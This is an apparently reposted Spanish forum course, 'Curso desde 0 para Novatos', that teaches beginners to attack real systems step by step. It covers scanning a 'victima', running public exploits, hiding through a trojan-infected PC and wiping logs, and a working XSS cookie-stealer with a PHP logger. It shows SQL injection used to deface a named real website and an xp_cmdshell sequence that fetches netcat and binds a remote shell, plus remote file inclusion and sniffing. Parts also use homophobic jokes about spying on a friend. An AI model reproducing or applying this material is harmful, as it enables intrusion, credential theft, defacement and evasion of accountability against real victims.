Está en la página 1de 26

Curso desde 0 para Novatos parte 1 (Identificacin)

No podria existir ningun curso de hacking, sin una explicacion de la identificacion.

todos deberiamos saber, i si no es asi, sabremos mas adelante que el hacking consiste en descubrir/buscar/documentarse acerca de bugs (agujera de seguridad) en el software usado en la maquina objetivo y en su posterior explotacion para conseguir resultados inesperados por el administrador.

sin embargo, muchos de los que empiezan, no saben como hacer esto, ya que no saben identificar el software en la maquina objetivo, asi que antes de pasar a temas mas serios (e interesantes) debemos conocer a nuestro enemigo.

bien, existen dos formas de ataque claramente diferenciadas, local y remoto, local es con acceso a la maquina, quitarse las restricciones y remoto es conseguir acceso a una maquina que esta en una misma red que tu (pudiendo ser internet) y en la mayoria de los casos, lograr el acceso maximo en contra de lo que en principio decian las restricciones del sistema.

bien nos basaremos en los remotos, que son los que no interesan de forma inmediata.

lo primero para poder saber algo del sistema, es saber que puertos tiene abiertos y que sistema operativo utiliza.

para saber que puertos tiene abiertos si estas usando windows recomiendo Languard Network Security Scaner, este ya te dira que puertos tiene abiertos y que programas administran estos puertos, es decir, que programa se encarga de tratar la informacion que llega por ellos, y tambien nos dira el sistema operativo de la maquina remota.

tambien puedes usar nmap que determina con mas exactitud todos estos datos puedes usarlo asi:

nmap example.com -sV -O

-O = determina el s.o.

-sV = determina los programas que gestionan los puertos (daemons)

si la maquina remota no responde a pings puedes usar la opcion -P0 para que la escanee de todas formas.

si estas usando linux puedes usar nmap y funciona igual que el de windows.

una vez tenemos toda la informacion apuntamos todo en un archivo de texto (victima.txt xDDD) y ya tenemos la primera fase para un ataque.

Curso desde 0 para Novatos parte 2 (primera fase de un ataque)


bien, ya tenemos el sistema identificado! sabemos que puertos tiene abiertos y que daemons (programas) los gestionan, y a ser posible sus versiones (esto lo vimos en la primera aportacion k hice) bueno, hasta aki estoi seguro k mucho ya sabian hacerlo, pero ahora k? k podemos hacer ahora?

bien, empezaremos por lo facil, buscaremos si los daemons que corre el servidor tienen errores de seguridad conocidos:

www.securityfocus.com/bid/title

ahi elegimos el nombre del daemon, i nos saldra una lista de errrores k son los k posee el daemon, nada mas al un error nos dice a k version afecta, en la pestaa discussion nos explica en k se basa el error, i en la seccion exploits es posible k haya codigos para llevar a la practiva la explotacion del bug, en credits nos diran kien descubrio el bug y en solution como parchearlo.

pero, que bugs puede tener un daemon habitualmente?

bueno, existen varios tipos de bugs, dependiendo de k atakemos, ahora estamos hablando de atacar los daemons del sistema, asi que los bugs mas habituales son:

Buffer Overflow Password bypass Memory exahustation Brute forcing

el primero, los Buffer overflow, es el MAS IMPORTANTE bug que debe conocer un hacker, alguien k no conozca los buffers overflow a fondo, NUNCA llegara a nada en el hacking.

Vereis los programas se hacen en lenguages de programacion, la gente dice que tras compilarlos pasan a ser codigo maquina y ya no importa en que fueron programados, pero esto no es cierto, diferentes lenguages de programacion al ser compilados estructuran el codigo makina de maneras diferentes.

existe un lenguage bastante potente y tambien bastante antiguo, el lenguage C, en el k fue escrito Unix, Minix, Linux, SunOS y Windows (el ultimo parece a veces echo en basic xD)

En el lenguage C existe un pekeo problema con el tratamiento de las cadenas de caracteres (char) o tmb llamadas arrays.

el problema reside en k C no tiene ningun metodo para comprobar si se ha llegado al final de la cadena, es decir si por ejemplo intentamos escribir hackgeneral en un array de 2 chars (char variable[2] C no dira k eso no podemos hacerlo, i una vez compilado no lo evitara, de forma k continuaremos escribiendo mas haya del array.

pero si el programa tenia reservados 2 bytes y escribimos la palabra hackgeneral en el, y el programa no lo evita, donde va a parar lo k sobra? va a parar a la memoria, a lugares k a simple vista parecen imprevisibles pero no lo son tanto

vereis en los lenguages de programacion de alto nivel existen lo k llamamos funciones, k son rutinas que se ejecutan con unos valores de entrada, i cuando terminan devuelven o no un valor i continua la ejecucion desde el punto en donde se llamo a la funcion, sin embargo este no es un comportamiento propio de un sistema informatico, i el lenguage makina para llegar a este nivel de abstraccion hace uso de la funcion en assembler call, la cual lo k hace es saltar a un punto del programa i cuando se encuentra la instruccion ret (return) vuelve a donde estava, para lograr esto,

call lo k hace es almacenar la direccion actual en la pila (stack) y saltar, luego cuando encuentra ret, recoje la instruccion de la pila i salta a ella

imaginemos de nuevo un programa en C con una variable llamada: var1, es un array de char de 2 caracteres, intentamos meter hackgeneral en ella, se desborda i la cosa keda asi:

ha ckgeneral

la ha keda dentro de la variable var1 i ckgeneral keda mas haya de la variable i k hay mas haya? la pila!

wowowowowow!!!!!!

un ejemplo, si desbordamos la variable var1 con AAAAAAAAAAAAAA nos daremos cuenta k la A en hexadeciam les 041 i si pensamos un poco, la instruccion call habia apilado en la pila la direccion de retorno para regresar, ahora hemos llenado un trozo de la pila con AAAAAA por lo cual la direccion de retorno ha sido sobreescrita i ahora el programa al terminar la funcion saltara a 041414141

bueno, hasta aki todo bienparece sencillo, pero esto para k nos sirve en terminos de hacking hablando? para todo!!!

el virus blaster i sasser, todos los exploits k dan root (la mayoria, bueno) etc utilizan buffers overflow esto ha sido una mini introduccion si kereis mas informacion acerca de buffers overflows (recomiendo retieradamente comprenderlos al maximo)

http://personal.telefonica.terra.es/web/alexb/manuales/pila.zip

ese es el documento mas detallado sobre ellos, escrito por alephone, moderador de la lista bugtraq (securityfocus, en 1996) i traducido por honoriak para la phrhack 49.

Password bypass

en algunos programas existen errores k hacen k al llevarlos a ciertas cirscumstancias nos dejan entrar sin contrasea, o bien k de alguna manera podemos acceder directament a archivos teoricamente restringidos.

Memory exahustation.

se trata basicamente de consumir la memoria de la makina victima, para haceros a la idea, imaginemos k un servidor web consume 1 byte de memoria cada vez k le enviamos una peticion especialmente construida con 255 barras (/) por ejemplo, k pasaria si programamos un exploit k empieza a hacer peticiones con 255 (/) muy rapido? al cabo de un rato el servidor caeria por falta de memoria, esto era solo un ejemplo.

brute forcing

estos atakes a simple vista parecen simples, el echo de probar miles i miles de contraseasparece algo inutil, sin embargo io puedo decir k con este metodo he hackeado muchos servidoresalgunos softwares tiene el errror de no restringir el numero de intentos i podemos estar probando con algun programa toda una nochees bastante probable acertar.

una vez estamos en securityfocus i tenemos localizados los bugs k tienen los daemons de nuestra victima, anotamos todo en nuestro ducmento victima.txt o en uno al lado llamado: bugs.txt

lo siguiente k diremos: bien pero como ataco io?

bueno, en todos los bugs encontrados miramos a ver si disponen de exploits en la pestaa exploit, en caso afirmativo lo guardamos en nuestra pc.

una vez hemos reunido todo los exploits k posiblemente afectan a la makina victima, veremos k hay muchos k son .c i otros k son .pl.

los primeros con programas en C, normalmente para explotar buffer overflow (ironico verdad?) i se compilan con visual studio siempre i cuando sean estos para windows, en caso de ser para linux (el exploit) necesitaremos un linux, pero trankilos mas adelante veremos como solo con windows

podemos incluso usar exploits k teoricamente con solo para linux (primero kiero ver si comprendeis todo esto, k se k es duro)

lo k son .pl son exploits programados en lenguage perl, pueden ser ejecutados con active perl (podeis bajarlo de internet) o con linux escribiendo perl archivo.pl

bueno llegados aki kiero k buskeis ampliar esto por internet, hagais ensallos etc, i si veo k lo comprendeis en la proxima entrega usaremos lo exploits k hemos recopilado

i por favor, preguntar todas las dudas k tengais sin miedo, se k es dificil todo esto, pero ha llegado la hora de aprender en serio

Curso desde 0 para Novatos parte 3 (probando esos exploits)


bueno, en la anterior aportacion reunimos exploits de securityfocus los cuales parecian afectar a la makina victima

es el momento de utilizarlos, normalmente tardaras much en empezar a tener exito, pero no t impacientes.

lo primero k debemos hacer es instalar visual c++, es un compilador de microsoft muy bueno.

cojemos el primer exploits, lo copias de securityfocus i lo pegamos dentro de un archivo con la extension .c .cpp o .pl depende como estuviese en securityfocus.

si la extension es .c o .cpp significa k lo compilaremos con vc++, ia k es c o c++, hacemos doble click en el archivo, vamos a build y luego a build.

si todo va bien, aparecera un exe en una carpeta llamada debug, junto al codigo fuente (archivo c o cpp), bien ese archivo, es un archivo k funciona por comandos, es decir, desde ms-dos, lo copiamos a C: para ir mas rapido, abrimos una consola de ms-dos i escribimos: cd C: y luego el nombre del exe del exploit.

ejemplo:

http://hackme.almacenweb.com/shell.jpg

como veis, el exploit nos indica que hay que usarlo asi: exploit.exe ipdelavictima

asi k si kisieramos atacar en la consola escribiriamos:

exploit.exe victima.com

no todos los exploits son iguales, esto ha sido un ejemplo, distintos exploits tienen distintas instrucciones de uso y formas de atake.

los exploits en perl, hay k bajarse active perl para ejecutarlo, una vez con active perl se usan igual k lo exe, es decir, copiamos el exploit.pl a C: i hacemos cd C: y luego: exploit.pl y el nos dira la forma en que hemos de lanzarlo, es decir, las instrucciones.

siempre k en un exploit escribamos mal los parametros (ip dela victima o lo k pida) volvera a mostrar las instrucciones.

bueno, es posible k con los exploits no tengais exito, son bastantes complejos y con posibilidades a veces bajasasi k nos adentraremos en una nueva tecnica:

php file inclusion

pero sera en la proxima aportacion, k me canso de escribir xD espero k lo leais e!! k con el trabajo k me doi xD

Curso desde 0 para Novatos parte 4 (anonimizando atakes)


bueno, quizas algunos os pregunteis:

pero k pasa si me pillan?

como puedo estar a salvo de denuncias?

bien, vereis, los atakes no suele llevarse a cabo a cara descubierta, igual k cualkier delito (arte en nuestro caso xD) no se hace a cara descubierta.

hay varios metodos para ocultar nuestra ippero vereis ocultar exactamente no podemos hacerlo, ia k los paketes tcp/ip necesitan llevar nuestra ip por k si no no veriamos las respuestas del server entonces como ocultarnos?

bueno la idea es la siguiente:

hacemos pasar los paketes por un pc intermedio al nuestro, como? bien infectamos por ejemplo un pc de un pringao con optix pro i hacemos k todo lo k llegue a un puerto determinado lo redireccione a un host determinado i lo k ese host le conteste nos lo redireccione a nosotros asi:

pakete nuestro pc infectado makina victima

nosotros enviamos el atake a pc infectado k lo rebota a makina victima i makina victima contesta a pc infectado, el cual nos contesta a nosotros..

a esto se le llama bouncer

NOTA: LOS PROXYS SOLO SIRVEN PARA NAVEGAR.

de esta forma la ip k keda en los logs es la de pc infectado, muchos troyanos tienen para redireccionar puertos

en optix pro 1.33 esta en port redirect.

metodo 2:

conseguir una shell, k alguien t la pase o sacarla de otro server mas debil i dejado i atacar desde ahi i luego borrar los logs del server victima i el server k usastes para atacar.

existen muchos otros sistemas, intentar hacerlo i postear como os va i preguntar mas

una cosa: un hacker elegante siempre utiliza metodos de ocultacion como bouncers o shells remotas, pero aparte de eso borra los logs con zappers, los zappers se compilan i se ejecutan normalmente con argumento el username k kieres borrar de los logs asi por ejemplo:

gcc zap.c -o zap ./zap root

Curso desde 0 para Novatos parte 5 (Cross site scripting)


bueno empezemos el juego, mucha gente conoce los cross site scripting.

hace un buen dia, el sol ha salido, un joven espaol se levanta por la maana (o mejicano, kien sabe) abre su Konqueror o Mozilla firefox (o internet explorer de microsoft si no le preocupa su seguridad i utiliza windows, cosa respetable) i entra a

www.securityfocus.com/archive/1

para ver k bugs salieron hoy, va revisando posts i lee:

XSS in phpbb all version

por poner un ejemplo, XSS es la abreviatura de cross site scripting, i phpbb un sistema de foros basado en php + mysql, esto era solo un ejemplo, k conste, XSS hay en muchos productos.

el joven k lleva unos meses en el hacking i aun no sabe mucho, ni si kiera lo habre pensando: va, un xss para k lo kiero? si lo maximo k se puede hacer es alert(documment.cookie) o ni si kiera sabe eso

acaba de perder la oportunidad de su vida!

bueno sin exagerar, lo k el joven no sabe es k con eso podria haver hackeado, si si, defaceado un phpbb, solo con un tan injustamente llamado XSS, pero k es un XSSveamoslo

los navegadores convencionales tienen la capacidad de ejecutar codigo javascript, k es un codigo k se ejecuta en el navegador cuando la pagina es visualizada, no se ejecuta en el servidor como lo haria php, sino k el codigo javascript se ejecuta en el navegador de kien visita la web, i sirve para millones de cosas, ventanitas de alerta, i miles de cosas mas.

imaginemos lo siguiente, una pagina la cual tiene un sitio k pone ultimos usuarios registrados:

i sale una lista como podria ser esta:

-jocanor -ramgo -edy -paranoik -spushan -DragoN

bueno, una mente muy retorcida como la mia podria decirbien k me impide a mi registrarme con el nombre:

*script* al3rt(hacked by jocanor) */script*

i cuando aparezca la lista de ultimos usuarios registrados i intente visualizar *script* al3rt(hacked by jocanor) *script*, el navegador vera k es javascript i lo ejecutara en lugar de visualizarlo, con lo cual a cualkiera k entre le aparecera una caja de mensaje en la k pondra:

hacked by jocanor

vaia, si parece k seamos hackers i todos, i solo hemos registrado un usuario

sigamos con un ejemplo mas practico

muchas paginas, son conscientes de esto, i filtran el contenido de lo k introducimos i no podemos hacerlo, pero muchas otras no lo hacen, imaginemos un tagboard muy sencillito k no lo filtre, posteamos en el tagboard:

*script* al3rt(hacked by jocanor) */script*

i todo el k entre le saltara el mensaje, esto se lo hice a juanillo_killo en su web (usuario de estos foros) me rei mucho xD

continuamos con atakes mas potentes usando XSS

imaginemos k nos dicen k existe un error de XSS en una variable de un foro k todo el k entre en la direccion especialmente construida:

www.hackeame.com/index.php?usuario=foo&sotby=name&sesion=*script* al3rt(hacked by jocanor) */script*

le aparece una cajita de mensaje, diriamos: i de k sirve, cuando alguien entre a la web no vera nada, solo vera el cartel el k entre a la web especialmente construdia, no sirve para nadagrave error pensar eso

por kkien dice k lo unico ha hacer es ejecutar mensajitos?

tmb podemos robar cookies!!!!!!

vereis, solo tiene acceso a la cookie la web k la creo, pero si estamos diciendo k nosotros podemos ejecutar codigo javascript construiendo direcciones espcialmente diseadas para ello, el navegador ve k la web es la k creo la cookie i nos deja verlaejemplifikemos esto k se k asusta un poco:

nos conectamos al msn, estamos hablando con algunas amigas (lo se, siempre pensando en chicas xD) i se conecta un amigo newbie, nos dice k en una pagina porno k rekiere autentificacion para descargar videos i k hay k pagar tiene un bug de xss k seria asi:

www.pagina.com/index.php?video=codigojavascriptaki

i se ejecutaria, me direis como robo io los videos?

pues bien lo k haremos sera robar la cookie de un usuarioponerla en nuestro navegador i nada mas entrar estaremos logueados susponiendo k el usuario tuviese activado recordar contrasea xD

nos creamos una pagina en cualkier hosting gratuito i alli hospedamos un archivo llamado cookies.php

con el siguiente codigo:

*? $cookie = $_GET[cookie]; $fff = fopen(archivo.txt,a); fwrite($fff, $cookie n); fclose($fff); ?*

ahora construmos la url asi:

www.pagina.com/index.php (sigue abajo) ?video=*script*window.location=http://www.hacker.com/cookies.php?cookie=+document.cooki e;*/script*

i hacemos k algun usuario de la pagina porno entre al enlace hablando con el, mandandole un mail etc, automaticamente tendremos su cookie en archivo.txt

la recogemos, ponemos lo k hay dentro en una cookie para pagina.com i la metemos en la carpeta de cookies de nuestro navegador i entramos, automaticamente seremos el user al k le robamos la cookie.

atencion: este atake es MUY complejo de llevar a la practica, si no lo has comprendido o no t ves capaz, no t preocupes

si lo has comprendido del todo i crees k puedes hacerlo, entonces puedes ir pensando k tienes posiblidades en el hacking

Curso desde 0 para Novatos parte 6 (sql injection y defaces)


Bien, hacia tiempo que no sacaba una nueva entrega del cursosiento el retraso..

ia sabeis k a mi los problemas personales me lluevenpero sobrevivoen fin

se meh a ocurrido que seria interesante explicar una tecnica que muchos creen que no sirve de muchos mas que hackear foros phpbb, i con la cual, ya he sacado shell en sistemas, defaceado webs tan importantes como la del govierno de mi pais etc

sql injection, pero k es?

vereis, voi a tratar de explicar en que consisten los sql injectiondurante el manual me voi a referir a paginas en asp con una base de datos MSSQL.

los sql injection son un bug que permite que un usuario malintencionado (nosotros) realize consultas a la base de datos de la pagina vulnerable.

el problema reside en k muchos MSSQL corren con permisos de sistema (la famosa cuenta SA de MSSQL tiene permisos de sistema y es la cuenta por defecto, suena bien no?)

asi que veamoscomo saber si una web es vulnerable a sql injection?

bueno, no suelo hacer los ejemplos con paginas reales, pero esta vez voi a hacer una excepcion i asi entendereis mejor la tecnica, si cuando leais el articulo ia no es vulnerable, buscad paginas parecidas.

http://www.compolaser.com/

hace unos dias entre a esta web, i me dije: voi a hacer algo aki el problema era k no parecia muy vulnerable, cuakiera hubiese sacado su nmap o su nessus i se hubiese puesto a escanear, sin embargo se me ocurrio algo distinto

por k no pruebo con webhack? (hackeo a la web i no al server, por ejemplo el cross site scripting, k lo vimos en la entrega anterior)

asi k vi k havia una seccion noticiasi k recivia un dato a traves de la url

http://www.compolaser.com/Noticias.asp?Id=54

donde 54 es el numero de la noticiauna vez vi esto ia me di cuenta que seguro k esta web tenia una base de datos i k usaba IIS i seguramente mssql, asi k prob:

http://www.compolaser.com/Noticias.asp?Id=

i sucedio lo siguiente: QUOTE Microsoft OLE DB Provider for SQL Server error 80040e14

Comilla no cerrada antes de la cadena de caracteres ORDER BY fecha DESC;.

/Noticias.asp, line 24

wou! tenemos un sql injection en esta paginapero como lo se?

vereis, la pagina lo que ha echo es:

Select * from Noticias where id = ID ORDER BY fecha DESC

seria algo parecido a esto, ID representa el numerito que le pasamos por la url

(en sql el caracter delimita el principio o el final de una cadena)

cuando nosotros hicimos:

http://www.compolaser.com/Noticias.asp?Id=

la sentencia final kedo asi:

Select * from Noticias where id = ORDER BY fecha DESC

aki falla algo verdad? SIEMPRE k se habre una comilla hay k cerrarla, de ahi el error que dice que no cerramos la comilla

buenoesto nos lleva a pensarostia, podemos modificar la sentencia? entonces podemos alterar la base de datos no? la respuesta es si.

veamoslo primero que deberiamos hacer es averiguar como se estructura la base de datos, es decir:

como se llama la tabla que contiene informacion de las noticias?

y que registros tiene?

bien, solo se trata de hacer las preguntas correctas:

http://www.compolaser.com/Noticias.asp?Id=0having%201=1

esto provocara un error en mssql que nos desvelara que la tabla se llama:

Noticias

y que el primer registro es: id

QUOTE Microsoft OLE DB Provider for SQL Server error 80040e14

La columna noticias.Id de la lista de seleccin no es vlida, porque no est contenida en una funcin de agregado y no hay clusula GROUP BY.

/Noticias.asp, line 24

interesantesi kereis saber por k ocurre esto, buscad lo k hace el comando having wink.gif

el al final lo ponemos para k piense k lo k sigue es un comentario en el codigo (igual k en C los comentarios son: //)

seguimos desvelando:

http://www.compolaser.com/Noticias.asp?Id=0having%201=1

hemos echo:

group by Noticias.id having 1=1

por k Noticias.id? por k es el primer registro

seguimos averiguando:

http://www.compolaser.com/Noticias.asp?Id=0having%201=1

bueno, parece que aki nos dan toda la informaicon que queremos, hay un segundo registro llamado:

noticias.Resumen

QUOTE Microsoft OLE DB Provider for SQL Server error 80040e14

La columna noticias.Resumen de la lista de seleccin no es vlida, porque no est contenida en una funcin de agregado ni en la clusula GROUP BY.

/Noticias.asp, line 24

podriamos ir sacando mas i mas registros asi:

group by noticias.id, noticias.titulo having 1=1

i asi, aadiendo con comas lo k nos va diciendo, llegariamos al finalpero de momento nos conformamos con modificar el titulo, pero como modificamos Noticias.titulo?

bueno pues hay un comando en sql llamado update que modifica el contenido de un registro de una tabla, se usa asi:

update tabla set registro=nuevo valor

pues bien, es facil saber que hacer ahora:

update noticias set titulo = hackeados por jocanor

i como hay k hacer k el resto sea un comentario:

update noticias set titulo = hackeados por jocanor

asi k la sentencia final seria:

http://www.compolaser.com/Noticias.asp?Id=0jocanor

y tachan tachan! si entrais a:

http://www.compolaser.com/Noticias.asp

vereis k todos los registros noticias.titulo han sido defaceados xD

como sacar shell con sql injection?

esto es una tecnica avanzada i k no funciona siempre, pero puede funcionar

vereis, mssql tiene unos scripts para ejecutar cosas etcasi k jugaremos con uno de esos scripts, para ejecutar cualkier comando de ms-dos:

; exec master..xp_cmdshell ping 10.10.1.2

esto haria un ping a 10.10.1.2.

asi k sacar shell es tan facil como poner en nuestra makina (supongamos k nuestra makina es 1.2.3.4) un servidor tftp con un archivo llamado nc.exe (un netcat)

hacemos:

exec master..xp_cmdshell tftp -i 1.2.3.4 get nc.exe C:nc.exe

exec master..xp_cmdshell c:nc.exe l p 8000 e cmd.exe -

ahora abrimos telnet a la makian victima en el puerto 8000 y tenemos una shell biggrin.gif

bueno, este articulo era de nivel avanzado, lo siento por los muy newbies, pero la gente con nivel medio me pedia k pusiera algo interesante i de nivel, la proxima entrega sera para los principiantes, lo prometo.

Curso desde 0 para Novatos parte 7 (php file inclusion)


saludos aki tenemos la septima aportacion

ha pasado mucho tiempo desde la sexta (6), problemas personales, estudios, etc

pero lo prometido es deuda, i aki teneis el articulo sobre php file inclusion

php es un lenguage de programacion web k permite no solo visualizar datos, realizar calculos etc, como los lenguages web clasicos, sino k permite tmb ejecutar comandos en el servidor (comandos shell), modificar archivos, etc

detalles previos:

1. un servidor para poder servir paginas php debe tener el php instalado i el servidor web configurado para trabajar con el

2. php es un lenguage parecido a c, por lo cual, las consecuencias de en una situacion especial, poder llegar a introducir un archivo php en el contexto del servidor es comparable con poder compilar i ejecutar cualkier codigo en c en el contexto del servidor (esto tecnicamnte no es asi, pero lo asumiremos para k os hagais a la idea)

3. lo k trataremos aki se refiere a sistemas unix, aunke php no tiene ningun problema de incomptabilidades con windows, podria aplicarse a windows con las consecuentes adaptaciones, pero el 99% de servers son unix o derviados (vease linux) asi k trataremos este ultimo.

4. en los sistemas unix/linux (los tratados aki) el php es habitual i en el 99% de los casos se cumple, k el php tenga permisos de nobody, pero en ocasiones tiene permisos del usuario web (el k la cuelga etc..), en la practica nos da igual los permisos k tenga php.

5. php tiene una opcion llamada safemode, si esa opcion se encuentra activada (por defecto: no) el servidor no sera vulnerable.

empezemosel php tiene una funcion llamada include la cual sirve para pasarle la ejecucion a otro script php, de forma k si tenemos un archivo php llamado a.php i otro llamado b.php podriamos hacer un include en a.php k apunte a b.php i cuando un usuario hiciese:

www.example.com/a.php veria b.php, ia k ha sido incluido.

bien, esto nos lleva a pensar en esas paginas k todos hemos visto alguna vez:

www.example.com/index.php?seccion=descargas

bien, lo k ocurre aki es k index.php recive a traves de la url la variable seccion, luego si la pagina es vulnerable (ahora entendereis por k) index.php cojera descargas i le aadira al final .php i lo incluira, haciendo asi el include a:

descargas.php

k ocurrira si nos creamos un hosting en almacenweb.com o algun otro servicio de hostings gratuitos i subimos un archivo llamado: hack.php i luego vamos a la pagina vulnerable i hacemos:

www.example.com/index.php?seccion=http://www.paginahacker.com/hack

cojera, le aadira a la variable seccion al final un .php i hara un include, incluyendo asi:

http://www.paginahacker.com/hack.php

bien, esto nos lleva a pensar k podemos ejecutar cualkier archivo php en el servidor, i es cierto, este agujero es critico.

existen comandos php para modifcar archivos (siempre k tengamos permisos) ejecutar comandos etc

nota: muchos lammers creidos, niatos i gente abusrda i molesta solo conocen esta tecnica i se dedican a decir k son hackers, espero k nadie aprenda esto i solo por poder hackear servidor asi, se kede estancado.

Curso desde 0 para Novatos parte 8 (tcnicas poco habituales)


respasando terminos menos usados

veries, os presento la octava aportacion con algo k crei muy importante, en el hacking uno tiene a menudo muy claro ciertos conecptos i a veces se encuentra ante un problema k puede parecer insuperable, i no lo seria si el hacker conociese todas las tecnicas existentes, es importante conocer tecnicas minoritarias

aki vamos a dar una vista rapida a las siguientes tecnicas poco conocidas por norma general:

man in the midle

sniffing

1. man in the midle

este tipo de atakes engloba cualkier atake en el cual el resultado sea k el atacante kede situado en medio de una comunicacion entre un cliente i un servidor, podriamos poner como ejemplovamos a casa de un amigo del cual sospechamos k es homosexual i sabemos k posiblemente visita paginas con contenido obsceno de hombres con otros hombres, ante tal aberracion t asustas i k haces? como puedes saberlo? tu amigo se va un momento i descubres k no se guarda el historial por k ha sido desactivado i k tmp se acepta ninguna cookie i k las ultimas url tipeadas tmb se borran automaticamente, no hay ni rastro, estaras toda la vida pensando k a lo mejor tu amigo es gay? no!

ahora imaginaos k antes de salir de casa haveis situado algun tipo de servidor en vuestro pc k recive coneixones http i las redirecciona, el resultado es k en el momento k nuestro amigo gay se va, i nos deja solos, abrimos su navegador i en las opciones (sea el navegador k sea) situamos como proxy la ip de nuestro pc, el k tenemos en casa k esta a la espera de conexiones, le damos a aceptar i cuando nuestro amigo vuelve hacemos como k no sabemos nada.

el resultado es k todas las webs k visite pasaran antes por ti, tu las visitaras i se las reenviaras a el, todo automaticamente i registrandosegracias a dios un dia tu amigo empieza a ver webs como www.petardas.com i nunca entra a la seccion gay, asi k descubres k en realidad es homosexual, lo peor es k eso kiere decir k tus sospechas de k se lo montaba con tu novia son ciertas xD

en fin, fuera de rodeos, esto es basicamente un man in the midle, el programa utilizado podria ser el achilles para windows (k gente lammer creen k solo sirven de forma local, i no saben k pone el 5000 a la espera de conexiones por defecto)

existen otros man in the middle, muy variados, pero este seria el basico.

2. sniffing

en las redes ethernet k no utilizan un switch para interconectar los terminales, (el switch es inteligente i evita esto) se puede sniffear datospero k es sniffear? vereis, segun lei en algun manual de carolin meinel hace 2 aos o por ahi, decia:

sniffiers: en ingles, del termino sniff, sorber

pero a mi k me importa lo k snigifike sniff i encima en ingles? por favor, io kiero aprender hacking i ademas lo kiero en castellano (o espaol, como mas les guste)

bueno no me enrrollo mas, vereis en las redes ethernet, el sistema de direccionado de paketes (es decir, el sistema k se usa para enviar i recivir paketes a kien deben ser enviados i no a otro) no se basa en ips, en principio puede parecer k si, pero no es asi, se basa en direciones mac, k son como unas ips internas de las tarjetas de red, cuando un usuario tipea la ip de otro en la red ethernet, en realidad el protocolo arp encargado de las mac informa a ese usuario de cual es la mac con la k debe establecer la comunicacion, es decir la mac asignada a esa ip.

pero lo k ocurre es k las tarjetas de red tienen un modo especial, llamado modo promiscuoi funciona asi, cuando un usuario tipea la ip de otro en la red ethernet, i el protocolo arp le kiere decir la mac asignada a dicha ip, para poder conectar, el protocolo arp necesita un mecanismo para saber dicha mac, i lo k hace es preguntarla i dice en la red:

kien es 192.168.0.6?

i el dueo contesta:

soi io i mi direccion mac es: xxxxxxxxx

i arp se la da al otro usuario i este envia la informacion

ahora bien, poner una tajeta en modo promiscuo significa hacer k cada k alguien pregunte, tu tarjeta conteste, pregunten por kien pregunten, asi cuando pregunten:

kien es x.x.x.x

contestara su legitimo dueo:

soi io i mi direccion mac es: xxxxxxxx

i contestara tu tarjeta de red:

soi io i mi direccion mac es: xxxxxxx

asi k cuando el usuario envie los datos, le llegaran a su legitimo dueo en la red i tmb t llegaran a ti xD

esto nos lleva a pensar k podemos robar contrasea o espiar conversaciones de msn etc

pero, como detectar si hay alguien en modo promiscuo k nos puede estar espiando?

muy facil, hay scripts para ello en linux promisc_check o algo asi, pero vaia, k hay muchisimos, lo k hacen estos scripts maravillosos i tan magicos es simplemente preguntar por una ip inexistente en la red:

kien es 200.200.200.200?

i claro, no hay nadie, pero tu tarjeta de red k esta en promiscuo contesta:

soi io i mi direccion mac es: xxxxxxxx

t han pillao bacalao!!!!!!!!

aunke mas facilk ocurriria si hiciecemos:

ping ipinexistente-en-la-red

respuesta desde xDDDDDDDDDDDDDDDDDDDDD

vaia, parece k hay un mentiroso xD

bueno, el man in the middle no es nada comune, pero el sniffing si k es comun i muy util, podemos rootear un servidor, dejar un daemon corriendo k sniffee i loguee todo el rato i ir entrando a ver los logs, asi sacaremos muchisima informacion i podremos incluso a hackear mas pcs dentro de una misma lan, habiendo conseguido uno.

saludos.

p.d. se k esta entrega el nivel ha subido mucho, pero es k ia estoi empezando a planificar poner esto mas serio i doi por echo k estais leyendo por internet, he dejado mucho tiempo entre el 6 i el 7 para k aprendais, asi k nos vamos a ir poniendo serio, i es importante k lo practikeis dentro de lo posible o buskeis mas documentacion i leais, esto solo es una guia fde como ir estudiando hacking i una pekea introduccion al mismo, prometo k si lo seguis i lo haceis en serio, llegareis a hacer vuestros pinitios.

También podría gustarte